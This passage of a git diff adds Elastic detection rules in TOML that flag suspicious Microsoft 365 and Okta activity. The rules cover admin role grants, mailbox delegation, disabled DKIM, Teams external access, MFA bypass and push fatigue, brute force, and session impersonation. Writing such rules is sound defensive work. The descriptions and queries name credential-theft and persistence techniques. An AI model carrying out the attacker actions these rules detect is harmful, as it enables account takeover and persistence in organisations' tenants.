files without knowing their maliciousness, giving adversaries opportunities to gain +initial access to other endpoints in the environment. +""" +false_positives = ["Benign files can trigger signatures in the built-in virus protection"] +from = "now-30m" +index = ["filebeat-*", "logs-o365*"] +language = "kuery" +license = "Elastic License v2" +name = "SharePoint Malware File Upload" +note = """## Config + +The Office 365 Logs Fleet integration, Filebeat module, or similarly structured data is required to be compatible with this rule.""" +references = [ + "https://docs.microsoft.com/en-us/microsoft-365/security/office-365-security/virus-detection-in-spo?view=o365-worldwide", +] +risk_score = 73 +rule_id = "0e52157a-8e96-4a95-a6e3-5faae5081a74" +severity = "high" +tags = ["Elastic", "Cloud", "Microsoft 365", "Continuous Monitoring", "SecOps", "Lateral Movement"] +timestamp_override = "event.ingested" +type = "query" + +query = ''' +event.dataset:o365.audit and event.provider:SharePoint and event.code:SharePointFileOperation and event.action:FileMalwareDetected +''' + + +[[rule.threat]] +framework = "MITRE ATT&CK" + +[[rule.threat.technique]] +reference = "https://attack.mitre.org/techniques/T1080/" +id = "T1080" +name = "Taint Shared Content" + + +[rule.threat.tactic] +reference = "https://attack.mitre.org/tactics/TA0008/" +id = "TA0008" +name = "Lateral Movement" diff --git a/rules/integrations/o365/microsoft_365_exchange_dkim_signing_config_disabled.toml b/rules/integrations/o365/microsoft_365_exchange_dkim_signing_config_disabled.toml new file mode 100644 index 000000000..0a267b2f5 --- /dev/null +++ b/rules/integrations/o365/microsoft_365_exchange_dkim_signing_config_disabled.toml @@ -0,0 +1,42 @@ +[metadata] +creation_date = "2020/11/18" +maturity = "production" +updated_date = "2022/02/28" +integration = "o365" + +[rule] +author = ["Elastic"] +description = """ +Identifies when a DomainKeys Identified Mail (DKIM) signing configuration is disabled in Microsoft 365. With DKIM in +Microsoft 365, messages that are sent from Exchange Online will be cryptographically signed. This will allow the +receiving email system to validate that the messages were generated by a server that the organization authorized and +were not spoofed. +""" +false_positives = [ + """ + Disabling a DKIM configuration may be done by a system or network administrator. Verify that the configuration + change was expected. Exceptions can be added to this rule to filter expected behavior. + """, +] +from = "now-30m" +index = ["filebeat-*", "logs-o365*"] +language = "kuery" +license = "Elastic License v2" +name = "Microsoft 365 Exchange DKIM Signing Configuration Disabled" +note = """## Config + +The Office 365 Logs Fleet integration, Filebeat module, or similarly structured data is required to be compatible with this rule.""" +references = [ + "https://docs.microsoft.com/en-us/powershell/module/exchange/set-dkimsigningconfig?view=exchange-ps", +] +risk_score = 47 +rule_id = "514121ce-c7b6-474a-8237-68ff71672379" +severity = "medium" +tags = ["Elastic", "Cloud", "Microsoft 365", "Continuous Monitoring", "SecOps", "Data Protection"] +timestamp_override = "event.ingested" +type = "query" + +query = ''' +event.dataset:o365.audit and event.provider:Exchange and event.category:web and event.action:"Set-DkimSigningConfig" and o365.audit.Parameters.Enabled:False and event.outcome:success +''' + diff --git a/rules/integrations/o365/microsoft_365_teams_custom_app_interaction_allowed.toml b/rules/integrations/o365/microsoft_365_teams_custom_app_interaction_allowed.toml new file mode 100644 index 000000000..8fe1cd55a --- /dev/null +++ b/rules/integrations/o365/microsoft_365_teams_custom_app_interaction_allowed.toml @@ -0,0 +1,42 @@ +[metadata] +creation_date = "2020/11/30" +maturity = "production" +updated_date = "2021/07/20" +integration = "o365" + +[rule] +author = ["Elastic"] +description = """ +Identifies when custom applications are allowed in Microsoft Teams. If an organization requires applications other than +those available in the Teams app store, custom applications can be developed as packages and uploaded. An adversary may +abuse this behavior to establish persistence in an environment. +""" +false_positives = [ + """ + Custom applications may be allowed by a system or network administrator. Verify that the configuration change was + expected. Exceptions can be added to this rule to filter expected behavior. + """, +] +from = "now-30m" +index = ["filebeat-*", "logs-o365*"] +language = "kuery" +license = "Elastic License v2" +name = "Microsoft 365 Teams Custom Application Interaction Allowed" +note = """## Config + +The Office 365 Logs Fleet integration, Filebeat module, or similarly structured data is required to be compatible with this rule.""" +references = ["https://docs.microsoft.com/en-us/microsoftteams/platform/concepts/deploy-and-publish/apps-upload"] +risk_score = 47 +rule_id = "bbd1a775-8267-41fa-9232-20e5582596ac" +severity = "medium" +tags = ["Elastic", "Cloud", "Microsoft 365", "Continuous Monitoring", "SecOps", "Configuration Audit"] +timestamp_override = "event.ingested" +type = "query" + +query = ''' +event.dataset:o365.audit and event.provider:MicrosoftTeams and +event.category:web and event.action:TeamsTenantSettingChanged and +o365.audit.Name:"Allow sideloading and interaction of custom apps" and +o365.audit.NewValue:True and event.outcome:success +''' + diff --git a/rules/integrations/o365/persistence_exchange_suspicious_mailbox_right_delegation.toml b/rules/integrations/o365/persistence_exchange_suspicious_mailbox_right_delegation.toml new file mode 100644 index 000000000..1676327bf --- /dev/null +++ b/rules/integrations/o365/persistence_exchange_suspicious_mailbox_right_delegation.toml @@ -0,0 +1,51 @@ +[metadata] +creation_date = "2021/05/17" +maturity = "production" +updated_date = "2022/01/31" +integration = "o365" + +[rule] +author = ["Elastic", "Austin Songer"] +description = """ +Identifies the assignment of rights to access content from another mailbox. An adversary may use the compromised account +to send messages to other accounts in the network of the target organization while creating inbox rules, so messages can +evade spam/phishing detection mechanisms. +""" +false_positives = ["Assignment of rights to a service account."] +index = ["filebeat-*", "logs-o365*"] +language = "kuery" +license = "Elastic License v2" +name = "O365 Exchange Suspicious Mailbox Right Delegation" +note = """## Config + +The Office 365 Logs Fleet integration, Filebeat module, or similarly structured data is required to be compatible with this rule.""" +risk_score = 21 +rule_id = "0ce6487d-8069-4888-9ddd-61b52490cebc" +severity = "low" +tags = ["Elastic", "Cloud", "Microsoft 365", "Continuous Monitoring", "SecOps", "Configuration Audit"] +timestamp_override = "event.ingested" +type = "query" + +query = ''' +event.dataset:o365.audit and event.provider:Exchange and event.action:Add-MailboxPermission and +o365.audit.Parameters.AccessRights:(FullAccess or SendAs or SendOnBehalf) and event.outcome:success and +not user.id : "NT AUTHORITY\SYSTEM (Microsoft.Exchange.Servicehost)" +''' + +[[rule.threat]] +framework = "MITRE ATT&CK" +[[rule.threat.technique]] +reference = "https://attack.mitre.org/techniques/T1098/" +name = "Account Manipulation" +id = "T1098" +[[rule.threat.technique.subtechnique]] +reference = "https://attack.mitre.org/techniques/T1098/002/" +name = "Exchange Email Delegate Permissions" +id = "T1098.002" + + + +[rule.threat.tactic] +reference = "https://attack.mitre.org/tactics/TA0003/" +name = "Persistence" +id = "TA0003" diff --git a/rules/integrations/o365/persistence_microsoft_365_exchange_management_role_assignment.toml b/rules/integrations/o365/persistence_microsoft_365_exchange_management_role_assignment.toml new file mode 100644 index 000000000..f5168d0f7 --- /dev/null +++ b/rules/integrations/o365/persistence_microsoft_365_exchange_management_role_assignment.toml @@ -0,0 +1,55 @@ +[metadata] +creation_date = "2020/11/20" +maturity = "production" +updated_date = "2021/07/20" +integration = "o365" + +[rule] +author = ["Elastic"] +description = """ +Identifies when a new role is assigned to a management group in Microsoft 365. An adversary may attempt to add a role in +order to maintain persistence in an environment. +""" +false_positives = [ + """ + A new role may be assigned to a management group by a system or network administrator. Verify that the configuration + change was expected. Exceptions can be added to this rule to filter expected behavior. + """, +] +from = "now-30m" +index = ["filebeat-*", "logs-o365*"] +language = "kuery" +license = "Elastic License v2" +name = "Microsoft 365 Exchange Management Group Role Assignment" +note = """## Config + +The Office 365 Logs Fleet integration, Filebeat module, or similarly structured data is required to be compatible with this rule.""" +references = [ + "https://docs.microsoft.com/en-us/powershell/module/exchange/new-managementroleassignment?view=exchange-ps", + "https://docs.microsoft.com/en-us/microsoft-365/admin/add-users/about-admin-roles?view=o365-worldwide", +] +risk_score = 47 +rule_id = "98995807-5b09-4e37-8a54-5cae5dc932d7" +severity = "medium" +tags = ["Elastic", "Cloud", "Microsoft 365", "Continuous Monitoring", "SecOps", "Identity and Access"] +timestamp_override = "event.ingested" +type = "query" + +query = ''' +event.dataset:o365.audit and event.provider:Exchange and event.category:web and event.action:"New-ManagementRoleAssignment" and event.outcome:success +''' + + +[[rule.threat]] +framework = "MITRE ATT&CK" +[[rule.threat.technique]] +id = "T1098" +name = "Account Manipulation" +reference = "https://attack.mitre.org/techniques/T1098/" + + +[rule.threat.tactic] +id = "TA0003" +name = "Persistence" +reference = "https://attack.mitre.org/tactics/TA0003/" + diff --git a/rules/integrations/o365/persistence_microsoft_365_global_administrator_role_assign.toml b/rules/integrations/o365/persistence_microsoft_365_global_administrator_role_assign.toml new file mode 100644 index 000000000..821f25621 --- /dev/null +++ b/rules/integrations/o365/persistence_microsoft_365_global_administrator_role_assign.toml @@ -0,0 +1,56 @@ +[metadata] +creation_date = "2022/01/06" +integration = "o365" +maturity = "production" +updated_date = "2022/02/28" + +[rule] +author = ["Elastic"] +description = """ +In Azure Active Directory (Azure AD), permissions to manage resources are assigned using roles. The Global Administrator +is a role that enables users to have access to all administrative features in Azure AD and services that use Azure +AD identities like the Microsoft 365 Defender portal, the Microsoft 365 compliance center, Exchange, SharePoint Online, +and Skype for Business Online. Attackers can add users as Global Administrators to maintain access and manage all +subscriptions and their settings and resources. +""" +from = "now-25m" +index = ["filebeat-*", "logs-o365*"] +language = "kuery" +license = "Elastic License v2" +name = "Microsoft 365 Global Administrator Role Assigned" +note = """## Config + +The Office 365 Logs Fleet integration, Filebeat module, or similarly structured data is required to be compatible with this rule.""" +references = [ + "https://docs.microsoft.com/en-us/azure/active-directory/roles/permissions-reference#global-administrator" +] +risk_score = 47 +rule_id = "88671231-6626-4e1b-abb7-6e361a171fbb" +severity = "medium" +tags = ["Elastic", "Cloud", "Microsoft 365", "Continuous Monitoring", "SecOps", "Identity and Access"] +timestamp_override = "event.ingested" +type = "query" + +query = ''' +event.dataset:o365.audit and event.code:"AzureActiveDirectory" and event.action:"Add member to role." and +o365.audit.ModifiedProperties.Role_DisplayName.NewValue:"Global Administrator" +''' + + +[[rule.threat]] +framework = "MITRE ATT&CK" + +[[rule.threat.technique]] +reference = "https://attack.mitre.org/techniques/T1098/" +name = "Account Manipulation" +id = "T1098" + + [[rule.threat.technique.subtechnique]] + reference = "https://attack.mitre.org/techniques/T1098/003/" + name = "Add Office 365 Global Administrator Role" + id = "T1098.003" + +[rule.threat.tactic] +id = "TA0003" +name = "Persistence" +reference = "https://attack.mitre.org/tactics/TA0003/" diff --git a/rules/integrations/o365/persistence_microsoft_365_teams_external_access_enabled.toml b/rules/integrations/o365/persistence_microsoft_365_teams_external_access_enabled.toml new file mode 100644 index 000000000..75ea7049d --- /dev/null +++ b/rules/integrations/o365/persistence_microsoft_365_teams_external_access_enabled.toml @@ -0,0 +1,55 @@ +[metadata] +creation_date = "2020/11/30" +maturity = "production" +updated_date = "2021/07/20" +integration = "o365" + +[rule] +author = ["Elastic"] +description = """ +Identifies when external access is enabled in Microsoft Teams. External access lets Teams and Skype for Business users +communicate with other users that are outside their organization. An adversary may enable external access or add an +allowed domain to exfiltrate data or maintain persistence in an environment. +""" +false_positives = [ + """ + Teams external access may be enabled by a system or network administrator. Verify that the configuration change was + expected. Exceptions can be added to this rule to filter expected behavior. + """, +] +from = "now-30m" +index = ["filebeat-*", "logs-o365*"] +language = "kuery" +license = "Elastic License v2" +name = "Microsoft 365 Teams External Access Enabled" +note = """## Config + +The Office 365 Logs Fleet integration, Filebeat module, or similarly structured data is required to be compatible with this rule.""" +references = ["https://docs.microsoft.com/en-us/microsoftteams/manage-external-access"] +risk_score = 47 +rule_id = "27f7c15a-91f8-4c3d-8b9e-1f99cc030a51" +severity = "medium" +tags = ["Elastic", "Cloud", "Microsoft 365", "Continuous Monitoring", "SecOps", "Configuration Audit"] +timestamp_override = "event.ingested" +type = "query" + +query = ''' +event.dataset:o365.audit and event.provider:(SkypeForBusiness or MicrosoftTeams) and +event.category:web and event.action:"Set-CsTenantFederationConfiguration" and +o365.audit.Parameters.AllowFederatedUsers:True and event.outcome:success +''' + + +[[rule.threat]] +framework = "MITRE ATT&CK" +[[rule.threat.technique]] +id = "T1098" +name = "Account Manipulation" +reference = "https://attack.mitre.org/techniques/T1098/" + + +[rule.threat.tactic] +id = "TA0003" +name = "Persistence" +reference = "https://attack.mitre.org/tactics/TA0003/" + diff --git a/rules/integrations/o365/persistence_microsoft_365_teams_guest_access_enabled.toml b/rules/integrations/o365/persistence_microsoft_365_teams_guest_access_enabled.toml new file mode 100644 index 000000000..cfabf3d78 --- /dev/null +++ b/rules/integrations/o365/persistence_microsoft_365_teams_guest_access_enabled.toml @@ -0,0 +1,56 @@ +[metadata] +creation_date = "2020/11/20" +maturity = "production" +updated_date = "2021/07/20" +integration = "o365" + +[rule] +author = ["Elastic"] +description = """ +Identifies when guest access is enabled in Microsoft Teams. Guest access in Teams allows people outside the organization +to access teams and channels. An adversary may enable guest access to maintain persistence in an environment. +""" +false_positives = [ + """ + Teams guest access may be enabled by a system or network administrator. Verify that the configuration change was + expected. Exceptions can be added to this rule to filter expected behavior. + """, +] +from = "now-30m" +index = ["filebeat-*", "logs-o365*"] +language = "kuery" +license = "Elastic License v2" +name = "Microsoft 365 Teams Guest Access Enabled" +note = """## Config + +The Office 365 Logs Fleet integration, Filebeat module, or similarly structured data is required to be compatible with this rule.""" +references = [ + "https://docs.microsoft.com/en-us/powershell/module/skype/get-csteamsclientconfiguration?view=skype-ps", +] +risk_score = 47 +rule_id = "5e552599-ddec-4e14-bad1-28aa42404388" +severity = "medium" +tags = ["Elastic", "Cloud", "Microsoft 365", "Continuous Monitoring", "SecOps", "Configuration Audit"] +timestamp_override = "event.ingested" +type = "query" + +query = ''' +event.dataset:o365.audit and event.provider:(SkypeForBusiness or MicrosoftTeams) and +event.category:web and event.action:"Set-CsTeamsClientConfiguration" and +o365.audit.Parameters.AllowGuestUser:True and event.outcome:success +''' + + +[[rule.threat]] +framework = "MITRE ATT&CK" +[[rule.threat.technique]] +id = "T1098" +name = "Account Manipulation" +reference = "https://attack.mitre.org/techniques/T1098/" + + +[rule.threat.tactic] +id = "TA0003" +name = "Persistence" +reference = "https://attack.mitre.org/tactics/TA0003/" + diff --git a/rules/integrations/o365/privilege_escalation_new_or_modified_federation_domain.toml b/rules/integrations/o365/privilege_escalation_new_or_modified_federation_domain.toml new file mode 100644 index 000000000..7ecd5481c --- /dev/null +++ b/rules/integrations/o365/privilege_escalation_new_or_modified_federation_domain.toml @@ -0,0 +1,57 @@ +[metadata] +creation_date = "2021/05/17" +maturity = "production" +updated_date = "2021/10/11" +integration = "o365" + +[rule] +author = ["Austin Songer"] +description = """ +Identifies a new or modified federation domain, which can be used to create a trust between O365 and an external identity +provider. +""" +index = ["filebeat-*", "logs-o365*"] +language = "kuery" +license = "Elastic License v2" +name = "New or Modified Federation Domain" +note = """## Config + +The Office 365 Logs Fleet integration, Filebeat module, or similarly structured data is required to be compatible with this rule.""" +references = [ + "https://docs.microsoft.com/en-us/powershell/module/exchange/remove-accepteddomain?view=exchange-ps", + "https://docs.microsoft.com/en-us/powershell/module/exchange/remove-federateddomain?view=exchange-ps", + "https://docs.microsoft.com/en-us/powershell/module/exchange/new-accepteddomain?view=exchange-ps", + "https://docs.microsoft.com/en-us/powershell/module/exchange/add-federateddomain?view=exchange-ps", + "https://docs.microsoft.com/en-us/powershell/module/exchange/set-accepteddomain?view=exchange-ps", + "https://docs.microsoft.com/en-us/powershell/module/msonline/set-msoldomainfederationsettings?view=azureadps-1.0", +] +risk_score = 21 +rule_id = "684554fc-0777-47ce-8c9b-3d01f198d7f8" +severity = "low" +tags = ["Elastic", "Cloud", "Microsoft 365", "Continuous Monitoring", "SecOps", "Identity and Access"] +timestamp_override = "event.ingested" +type = "query" + +query = ''' +event.dataset:o365.audit and event.provider:Exchange and event.category:web and event.action:("Set-AcceptedDomain" or +"Set-MsolDomainFederationSettings" or "Add-FederatedDomain" or "New-AcceptedDomain" or "Remove-AcceptedDomain" or "Remove-FederatedDomain") and +event.outcome:success +''' + + +[[rule.threat]] +framework = "MITRE ATT&CK" +[[rule.threat.technique]] +reference = "https://attack.mitre.org/techniques/T1484/" +name = "Domain Policy Modification" +id = "T1484" +[[rule.threat.technique.subtechnique]] +id = "T1484.002" +name = "Domain Trust Modification" +reference = "https://attack.mitre.org/techniques/T1484/002/" + + +[rule.threat.tactic] +reference = "https://attack.mitre.org/tactics/TA0004/" +name = "Privilege Escalation" +id = "TA0004" diff --git a/rules/integrations/okta/attempt_to_deactivate_okta_network_zone.toml b/rules/integrations/okta/attempt_to_deactivate_okta_network_zone.toml new file mode 100644 index 000000000..80092f4fe --- /dev/null +++ b/rules/integrations/okta/attempt_to_deactivate_okta_network_zone.toml @@ -0,0 +1,42 @@ +[metadata] +creation_date = "2020/11/06" +maturity = "production" +updated_date = "2021/07/20" +integration = "okta" + +[rule] +author = ["Elastic"] +description = """ +Detects attempts to deactivate an Okta network zone. Okta network zones can be configured to limit or restrict access to +a network based on IP addresses or geolocations. An adversary may attempt to modify, delete, or deactivate an Okta +network zone in order to remove or weaken an organization's security controls. +""" +false_positives = [ + """ + Consider adding exceptions to this rule to filter false positives if your organization's Okta network zones are + regularly modified. + """, +] +index = ["filebeat-*", "logs-okta*"] +language = "kuery" +license = "Elastic License v2" +name = "Attempt to Deactivate an Okta Network Zone" +note = """## Config + +The Okta Fleet integration, Filebeat module, or similarly structured data is required to be compatible with this rule.""" +references = [ + "https://help.okta.com/en/prod/Content/Topics/Security/network/network-zones.htm", + "https://developer.okta.com/docs/reference/api/system-log/", + "https://developer.okta.com/docs/reference/api/event-types/", +] +risk_score = 47 +rule_id = "8a5c1e5f-ad63-481e-b53a-ef959230f7f1" +severity = "medium" +tags = ["Elastic", "Identity", "Okta", "Continuous Monitoring", "SecOps", "Network Security"] +timestamp_override = "event.ingested" +type = "query" + +query = ''' +event.dataset:okta.system and event.action:zone.deactivate +''' + diff --git a/rules/integrations/okta/attempt_to_delete_okta_network_zone.toml b/rules/integrations/okta/attempt_to_delete_okta_network_zone.toml new file mode 100644 index 000000000..ebce1cd8f --- /dev/null +++ b/rules/integrations/okta/attempt_to_delete_okta_network_zone.toml @@ -0,0 +1,42 @@ +[metadata] +creation_date = "2020/11/06" +maturity = "production" +updated_date = "2021/07/20" +integration = "okta" + +[rule] +author = ["Elastic"] +description = """ +Detects attempts to delete an Okta network zone. Okta network zones can be configured to limit or restrict access to a +network based on IP addresses or geolocations. An adversary may attempt to modify, delete, or deactivate an Okta network +zone in order to remove or weaken an organization's security controls. +""" +false_positives = [ + """ + Consider adding exceptions to this rule to filter false positives if Oyour organization's Okta network zones are + regularly deleted. + """, +] +index = ["filebeat-*", "logs-okta*"] +language = "kuery" +license = "Elastic License v2" +name = "Attempt to Delete an Okta Network Zone" +note = """## Config + +The Okta Fleet integration, Filebeat module, or similarly structured data is required to be compatible with this rule.""" +references = [ + "https://help.okta.com/en/prod/Content/Topics/Security/network/network-zones.htm", + "https://developer.okta.com/docs/reference/api/system-log/", + "https://developer.okta.com/docs/reference/api/event-types/", +] +risk_score = 47 +rule_id = "c749e367-a069-4a73-b1f2-43a3798153ad" +severity = "medium" +tags = ["Elastic", "Identity", "Okta", "Continuous Monitoring", "SecOps", "Network Security"] +timestamp_override = "event.ingested" +type = "query" + +query = ''' +event.dataset:okta.system and event.action:zone.delete +''' + diff --git a/rules/integrations/okta/credential_access_attempted_bypass_of_okta_mfa.toml b/rules/integrations/okta/credential_access_attempted_bypass_of_okta_mfa.toml new file mode 100644 index 000000000..8e405ff44 --- /dev/null +++ b/rules/integrations/okta/credential_access_attempted_bypass_of_okta_mfa.toml @@ -0,0 +1,48 @@ +[metadata] +creation_date = "2020/05/21" +maturity = "production" +updated_date = "2021/07/20" +integration = "okta" + +[rule] +author = ["Elastic"] +description = """ +Detects attempts to bypass Okta multi-factor authentication (MFA). An adversary may attempt to bypass the Okta MFA +policies configured for an organization in order to obtain unauthorized access to an application. +""" +index = ["filebeat-*", "logs-okta*"] +language = "kuery" +license = "Elastic License v2" +name = "Attempted Bypass of Okta MFA" +note = """## Config + +The Okta Fleet integration, Filebeat module, or similarly structured data is required to be compatible with this rule.""" +references = [ + "https://developer.okta.com/docs/reference/api/system-log/", + "https://developer.okta.com/docs/reference/api/event-types/", +] +risk_score = 73 +rule_id = "3805c3dc-f82c-4f8d-891e-63c24d3102b0" +severity = "high" +tags = ["Elastic", "Identity", "Okta", "Continuous Monitoring", "SecOps", "Identity and Access"] +timestamp_override = "event.ingested" +type = "query" + +query = ''' +event.dataset:okta.system and event.action:user.mfa.attempt_bypass +''' + + +[[rule.threat]] +framework = "MITRE ATT&CK" +[[rule.threat.technique]] +id = "T1111" +name = "Two-Factor Authentication Interception" +reference = "https://attack.mitre.org/techniques/T1111/" + + +[rule.threat.tactic] +id = "TA0006" +name = "Credential Access" +reference = "https://attack.mitre.org/tactics/TA0006/" + diff --git a/rules/integrations/okta/credential_access_attempts_to_brute_force_okta_user_account.toml b/rules/integrations/okta/credential_access_attempts_to_brute_force_okta_user_account.toml new file mode 100644 index 000000000..74fa9456e --- /dev/null +++ b/rules/integrations/okta/credential_access_attempts_to_brute_force_okta_user_account.toml @@ -0,0 +1,53 @@ +[metadata] +creation_date = "2020/08/19" +maturity = "production" +updated_date = "2021/07/20" +integration = "okta" + +[rule] +author = ["Elastic", "@BenB196", "Austin Songer"] +description = """ +Identifies when an Okta user account is locked out 3 times within a 3 hour window. An adversary may attempt a brute +force or password spraying attack to obtain unauthorized access to user accounts. The default Okta authentication policy +ensures that a user account is locked out after 10 failed authentication attempts. +""" +from = "now-180m" +index = ["filebeat-*", "logs-okta*"] +language = "kuery" +license = "Elastic License v2" +name = "Attempts to Brute Force an Okta User Account" +note = """## Config + +The Okta Fleet integration, Filebeat module, or similarly structured data is required to be compatible with this rule.""" +references = [ + "https://developer.okta.com/docs/reference/api/system-log/", + "https://developer.okta.com/docs/reference/api/event-types/", +] +risk_score = 47 +rule_id = "e08ccd49-0380-4b2b-8d71-8000377d6e49" +severity = "medium" +tags = ["Elastic", "Identity", "Okta", "Continuous Monitoring", "SecOps", "Identity and Access"] +type = "threshold" + +query = ''' +event.dataset:okta.system and event.action:user.account.lock +''' + + +[[rule.threat]] +framework = "MITRE ATT&CK" +[[rule.threat.technique]] +id = "T1110" +name = "Brute Force" +reference = "https://attack.mitre.org/techniques/T1110/" + + +[rule.threat.tactic] +id = "TA0006" +name = "Credential Access" +reference = "https://attack.mitre.org/tactics/TA0006/" + +[rule.threshold] +field = ["okta.actor.alternate_id"] +value = 3 + diff --git a/rules/integrations/okta/credential_access_mfa_push_brute_force.toml b/rules/integrations/okta/credential_access_mfa_push_brute_force.toml new file mode 100644 index 000000000..b9d374a1e --- /dev/null +++ b/rules/integrations/okta/credential_access_mfa_push_brute_force.toml @@ -0,0 +1,49 @@ +[metadata] +creation_date = "2022/01/05" +maturity = "production" +updated_date = "2022/02/28" +integration = "okta" + +[rule] +author = ["Elastic"] +description = """ +Detects when an attacker abuses the Multi-Factor authentication mechanism by repeatedly issuing login requests until the +user eventually accepts the Okta push notification. An adversary may attempt to bypass the Okta MFA policies configured +for an organization to obtain unauthorized access. +""" +index = ["filebeat-*", "logs-okta*"] +language = "eql" +license = "Elastic License v2" +name = "Potential Abuse of Repeated MFA Push Notifications" +note = """## Config + +The Okta Fleet integration, Filebeat module, or similarly structured data is required to be compatible with this rule.""" +references = ["https://www.mandiant.com/resources/russian-targeting-gov-business"] +risk_score = 73 +rule_id = "97a8e584-fd3b-421f-9b9d-9c9d9e57e9d7" +severity = "high" +tags = ["Elastic", "Identity", "Okta", "Continuous Monitoring", "SecOps", "Identity and Access"] +timestamp_override = "event.ingested" +type = "eql" + +query = ''' +sequence by user.email with maxspan=10m + [any where event.module == "okta" and event.action == "user.mfa.okta_verify.deny_push"] + [any where event.module == "okta" and event.action == "user.mfa.okta_verify.deny_push"] + [any where event.module == "okta" and event.action == "user.authentication.sso"] +''' + + +[[rule.threat]] +framework = "MITRE ATT&CK" + +[[rule.threat.technique]] +id = "T1110" +name = "Brute Force" +reference = "https://attack.mitre.org/techniques/T1110/" + +[rule.threat.tactic] +id = "TA0006" +name = "Credential Access" +reference = "https://attack.mitre.org/tactics/TA0006/" + diff --git a/rules/integrations/okta/credential_access_okta_brute_force_or_password_spraying.toml b/rules/integrations/okta/credential_access_okta_brute_force_or_password_spraying.toml new file mode 100644 index 000000000..4e1754a52 --- /dev/null +++ b/rules/integrations/okta/credential_access_okta_brute_force_or_password_spraying.toml @@ -0,0 +1,58 @@ +[metadata] +creation_date = "2020/07/16" +maturity = "production" +updated_date = "2021/07/20" +integration = "okta" + +[rule] +author = ["Elastic"] +description = """ +Identifies a high number of failed Okta user authentication attempts from a single IP address, which could be indicative +of a brute force or password spraying attack. An adversary may attempt a brute force or password spraying attack to +obtain unauthorized access to user accounts. +""" +false_positives = [ + """ + Automated processes that attempt to authenticate using expired credentials and unbounded retries may lead to false + positives. + """, +] +index = ["filebeat-*", "logs-okta*"] +language = "kuery" +license = "Elastic License v2" +name = "Okta Brute Force or Password Spraying Attack" +note = """## Config + +The Okta Fleet integration, Filebeat module, or similarly structured data is required to be compatible with this rule.""" +references = [ + "https://developer.okta.com/docs/reference/api/system-log/", + "https://developer.okta.com/docs/reference/api/event-types/", +] +risk_score = 47 +rule_id = "42bf698b-4738-445b-8231-c834ddefd8a0" +severity = "medium" +tags = ["Elastic", "Identity", "Okta", "Continuous Monitoring", "SecOps", "Identity and Access"] +type = "threshold" + +query = ''' +event.dataset:okta.system and event.category:authentication and event.outcome:failure +''' + + +[[rule.threat]] +framework = "MITRE ATT&CK" +[[rule.threat.technique]] +id = "T1110" +name = "Brute Force" +reference = "https://attack.mitre.org/techniques/T1110/" + + +[rule.threat.tactic] +id = "TA0006" +name = "Credential Access" +reference = "https://attack.mitre.org/tactics/TA0006/" + +[rule.threshold] +field = ["source.ip"] +value = 25 + diff --git a/rules/integrations/okta/credential_access_user_impersonation_access.toml b/rules/integrations/okta/credential_access_user_impersonation_access.toml new file mode 100644 index 000000000..ac755ab0f --- /dev/null +++ b/rules/integrations/okta/credential_access_user_impersonation_access.toml @@ -0,0 +1,44 @@ +[metadata] +creation_date = "2022/03/22" +maturity = "production" +updated_date = "2022/03/22" +integration = "okta" + +[rule] +author = ["Elastic"] +description = """ +A user has initiated a session impersonation granting them access to the environment with the permissions of the user +they are impersonating. This would likely indicate Okta administrative access and should only ever occur if requested +and expected. +""" +from = "now-30m" +index = ["filebeat-*", "logs-okta*"] +interval = "15m" +language = "kuery" +license = "Elastic License v2" +name = "Okta User Session Impersonation" +note = """## Config + +The Okta Fleet integration, Filebeat module, or similarly structured data is required to be compatible with this rule.""" +references = [ + "https://blog.cloudflare.com/cloudflare-investigation-of-the-january-2022-okta-compromise/" +] +risk_score = 73 +rule_id = "cdbebdc1-dc97-43c6-a538-f26a20c0a911" +severity = "high" +tags = ["Elastic", "Identity", "Okta", "Continuous Monitoring", "SecOps", "Identity and Access", "Credential Access"] +timestamp_override = "event.ingested" +type = "query" + +query = ''' +event.dataset:okta.system and event.action:user.session.impersonation.initiate +''' + + +[[rule.threat]] +framework = "MITRE ATT&CK" + +[rule.threat.tactic] +id = "TA0006" +name = "Credential Access" +reference = "https://attack.mitre.org/tactics/TA0006/" diff --git a/rules/integrations/okta/defense_evasion_suspicious_okta_user_password_reset_or_unlock_attempts.toml b/rules/integrations/okta/defense_evasion_suspicious_okta_user_password_reset_or_unlock_attempts.toml new file mode 100644 index 000000000..07a6d7b76 --- /dev/null +++ b/rules/integrations/okta/defense_evasion_suspicious_okta_user_password_reset_or_unlock_attempts.toml @@ -0,0 +1,89 @@ +[metadata] +creation_date = "2020/08/19" +maturity = "production" +updated_date = "2021/07/20" +integration = "okta" + +[rule] +author = ["Elastic", "@BenB196", "Austin Songer"] +description = """ +Identifies a high number of Okta user password reset or account unlock attempts. An adversary may attempt to obtain +unauthorized access to Okta user accounts using these methods and attempt to blend in with normal activity in their +target's environment and evade detection. +""" +false_positives = [ + """ + The number of Okta user password reset or account unlock attempts will likely vary between organizations. To fit + this rule to their organization, users can duplicate this rule and edit the schedule and threshold values in the new + rule. + """, +] +from = "now-60m" +index = ["filebeat-*", "logs-okta*"] +language = "kuery" +license = "Elastic License v2" +name = "High Number of Okta User Password Reset or Unlock Attempts" +note = """## Config + +The Okta Fleet integration, Filebeat module, or similarly structured data is required to be compatible with this rule.""" +references = [ + "https://developer.okta.com/docs/reference/api/system-log/", + "https://developer.okta.com/docs/reference/api/event-types/", +] +risk_score = 47 +rule_id = "e90ee3af-45fc-432e-a850-4a58cf14a457" +severity = "medium" +tags = ["Elastic", "Identity", "Okta", "Continuous Monitoring", "SecOps", "Identity and Access"] +type = "threshold" + +query = ''' +event.dataset:okta.system and + event.action:(system.email.account_unlock.sent_message or system.email.password_reset.sent_message or + system.sms.send_account_unlock_message or system.sms.send_password_reset_message or + system.voice.send_account_unlock_call or system.voice.send_password_reset_call or + user.account.unlock_token) +''' + + +[[rule.threat]] +framework = "MITRE ATT&CK" +[[rule.threat.technique]] +id = "T1078" +name = "Valid Accounts" +reference = "https://attack.mitre.org/techniques/T1078/" + + +[rule.threat.tactic] +id = "TA0005" +name = "Defense Evasion" +reference = "https://attack.mitre.org/tactics/TA0005/" +[[rule.threat]] +framework = "MITRE ATT&CK" +[[rule.threat.technique]] +id = "T1078" +name = "Valid Accounts" +reference = "https://attack.mitre.org/techniques/T1078/" + + +[rule.threat.tactic] +id = "TA0003" +name = "Persistence" +reference = "https://attack.mitre.org/tactics/TA0003/" +[[rule.threat]] +framework = "MITRE ATT&CK" +[[rule.threat.technique]] +id = "T1078" +name = "Valid Accounts" +reference = "https://attack.mitre.org/techniques/T1078/" + + +[rule.threat.tactic] +id = "TA0001" +name = "Initial Access" +reference = "https://attack.mitre.org/tactics/TA0001/" + +[rule.threshold] +field = ["okta.actor.alternate_id"] +value = 5 + + diff --git 